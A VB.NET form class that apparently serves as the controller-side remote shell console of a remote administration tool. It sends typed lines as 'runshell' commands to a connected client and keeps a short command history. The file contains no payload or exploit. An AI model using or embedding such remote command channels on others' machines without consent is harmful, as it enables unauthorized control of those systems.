64 lines
2.3 KiB
VB.net
64 lines
2.3 KiB
VB.net
Imports System.Threading
|
|
Public Class Shell
|
|
|
|
Public C As Client
|
|
Private int_0 As Integer = 0
|
|
Private int_1 As Integer = 0
|
|
Private string_1 As String() = New String(5 - 1) {}
|
|
|
|
Private Sub TEST_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
|
Dim B As Byte() = SB("R/")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Sub
|
|
|
|
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
|
Try
|
|
If Not C.IsConnected Then
|
|
Close()
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub TEST_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
|
Dim B As Byte() = SB("closeshell")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Sub
|
|
|
|
Private Sub Guna2TextBox1_KeyDown(sender As Object, e As KeyEventArgs) Handles Guna2TextBox1.KeyDown
|
|
Select Case e.KeyCode
|
|
Case Keys.Enter
|
|
e.SuppressKeyPress = True
|
|
Dim Text As String = Guna2TextBox1.Text
|
|
If Text.Length > 0 Then
|
|
string_1(int_1) = [Text]
|
|
int_1 += 1
|
|
If (int_1 > (string_1.Length - 1)) Then
|
|
int_1 = 0
|
|
End If
|
|
Dim B As Byte() = SB("runshell" & SettingsHelper.SPL & Guna2TextBox1.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
If Text = "cls" Then
|
|
Guna2TextBox2.Clear()
|
|
End If
|
|
Guna2TextBox1.Clear()
|
|
End If
|
|
Exit Select
|
|
Case Keys.Down
|
|
int_0 = (int_0 + -1)
|
|
If (int_0 < 0) Then
|
|
int_0 = 0
|
|
End If
|
|
Guna2TextBox1.Text = string_1(int_0)
|
|
Exit Select
|
|
Case Keys.Up
|
|
int_0 += 1
|
|
If (int_0 > (string_1.Length - 1)) Then
|
|
int_0 = (string_1.Length - 1)
|
|
End If
|
|
Guna2TextBox1.Text = string_1(int_0)
|
|
Exit Select
|
|
End Select
|
|
End Sub
|
|
End Class |